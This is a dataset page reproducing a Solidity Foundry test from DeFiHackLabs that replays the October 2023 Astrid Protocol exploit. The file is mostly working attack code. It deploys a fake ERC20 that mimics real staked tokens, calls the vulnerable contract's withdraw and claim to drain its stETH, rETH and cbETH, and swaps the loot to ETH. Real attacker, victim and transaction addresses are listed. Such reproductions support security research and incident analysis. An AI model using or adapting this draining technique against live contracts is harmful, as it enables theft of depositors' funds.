Public reproduction file
src/test/2023-10/Astrid_exp.sol
Public reproduction file for dataset entry AstridProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~228591 USD$8// Attacker : https://etherscan.io/address/0x792ec27874e1f614e757a1ae49d00ef5b2c739599// Attack Contract : https://etherscan.io/address/0xb2e855411f67378c08f47401eacff37461e1618810// Vulnerable Contract : https://etherscan.io/address/0xbAa87546cF87b5De1b0b52353A86792D40b8BA7011// Attack Tx : https://etherscan.io/tx/0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb6013// @Analysis14// https://twitter.com/Phalcon_xyz/status/171845483596677532515contract MyERC20 {16 uint256 public totalSupply;17 mapping(address => uint256) public balanceOf;18 mapping(address => mapping(address => uint256)) public allowance;20 uint8 public decimals = 18;21 address public stakedTokenAddr;22 uint256 public scaledBalanceToBal;24 constructor(address _stakedTokenAddress, uint256 bal) public {25 stakedTokenAddr = _stakedTokenAddress;26 scaledBalanceToBal = bal;27 }29 event Transfer(address indexed from, address indexed to, uint256 value);30 event Approval(address indexed owner, address indexed spender, uint256 value);32 function approve(address spender, uint256 amount) external returns (bool) {33 allowance[msg.sender][spender] = amount;34 emit Approval(msg.sender, spender, amount);35 return true;36 }38 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {39 allowance[sender][msg.sender] -= amount;40 balanceOf[sender] -= amount;41 balanceOf[recipient] += amount;42 emit Transfer(sender, recipient, amount);43 return true;44 }46 function mint(47 uint256 amount48 ) external {49 balanceOf[msg.sender] += amount;50 totalSupply += amount;51 emit Transfer(address(0), msg.sender, amount);52 }54 function burn(address sender, uint256 amount) external {55 balanceOf[sender] -= amount;56 totalSupply -= amount;57 emit Transfer(sender, address(0), amount);58 }60 function scaledBalanceOf(61 address user62 ) external pure returns (uint256) {63 return 0;64 }66 function stakedTokenAddress() external returns (address) {67 return stakedTokenAddr;68 }70 function scaledBalanceToBalance(71 uint256 a72 ) external returns (uint256) {73 return scaledBalanceToBal;74 }75}77interface Vulnerable {78 function withdraw(address _restakedTokenAddress, uint256 amount) external;79 function claim(80 uint256 withdrawerIndex81 ) external;82}84interface IuniswapV3 {85 function token0() external view returns (address);86 function token1() external view returns (address);87 function swap(88 address recipient,89 bool zeroForOne,90 int256 amountSpecified,91 uint160 sqrtPriceLimitX96,92 bytes calldata data93 ) external;94}96contract ASTTest is Test {97 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);98 Vulnerable vulnerable = Vulnerable(0xbAa87546cF87b5De1b0b52353A86792D40b8BA70);99 IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);100 IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);101 IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);102 ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);103 IuniswapV3 rETHPool = IuniswapV3(0xa4e0faA58465A2D369aa21B3e42d43374c6F9613);104 IuniswapV3 cbETHPool = IuniswapV3(0x840DEEef2f115Cf50DA625F7368C24af6fE74410);105 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);107 function setUp() public {108 cheats.createSelectFork("mainnet", 18_448_167);109 }111 function testExpolit() public {112 address[] memory stakedTokens = new address[](3);113 stakedTokens[0] = address(stETH);114 stakedTokens[1] = address(rETH);115 stakedTokens[2] = address(cbETH);116 deal(address(this), 0);117 uint256[] memory balances = new uint256[](3);118 emit log_named_decimal_uint("Attacker Eth balance before attack:", address(this).balance, 18);119 for (uint8 i = 0; i < stakedTokens.length; i++) {120 uint256 staked_bal = IERC20(stakedTokens[i]).balanceOf(address(vulnerable));121 balances[i] = staked_bal;122 MyERC20 fake_token = new MyERC20(stakedTokens[i], staked_bal);123 fake_token.mint(10_000 * 1e18);124 fake_token.approve(address(vulnerable), type(uint256).max);126 vulnerable.withdraw(address(fake_token), staked_bal);127 vulnerable.claim(i);128 }130 //changing stETH to eth131 stETH.approve(address(LidoCurvePool), balances[0]);132 LidoCurvePool.exchange(1, 0, balances[0], 0);134 //changing rETH to weth135 rETH.approve(address(rETHPool), balances[1]);136 rETHPool.swap(address(this), true, int256(balances[1]), 4_295_128_740, new bytes(0));138 //changing cbETH to weth139 cbETH.approve(address(cbETHPool), balances[2]);140 cbETHPool.swap(address(this), true, int256(balances[2]), 4_295_128_740, new bytes(0));142 WETH.withdraw(WETH.balanceOf(address(this)));143 emit log_named_decimal_uint("Attacker Eth balance after attack:", address(this).balance, 18);144 }146 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {147 if (amount0Delta > 0) {148 IERC20(IuniswapV3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));149 } else if (amount1Delta > 0) {150 IERC20(IuniswapV3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));151 }152 }154 receive() external payable {}155}Analysis
Dataset entry
Public Foundry test for “AstridProtocol” (2023-10-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x792ec27874e1f614e757a1ae49d00ef5b2c73959
- Attack Contract
0xb2e855411f67378c08f47401eacff37461e16188
- Vulnerable Contract
0xbaa87546cf87b5de1b0b52353a86792d40b8ba70
- Attack Tx
0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb60
- Explorer: https://etherscan.io/address/0x792ec27874e1f614e757a1ae49d00ef5b2c73959
- Explorer: https://etherscan.io/address/0xb2e855411f67378c08f47401eacff37461e16188
- Explorer: https://etherscan.io/address/0xbAa87546cF87b5De1b0b52353A86792D40b8BA70
- Reference: https://twitter.com/Phalcon_xyz/status/1718454835966775325
File record
- Name
- AstridProtocol
- Path
- src/test/2023-10/Astrid_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f045f7a25b41f06d5c7d5ba8f58382123f11fa3a
- Language
- Solidity
- Size
- 156 lines
- Date
- 2023-10-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/Astrid_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f045f7a25b41f06d5c7d5ba8f58382123f11fa3a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.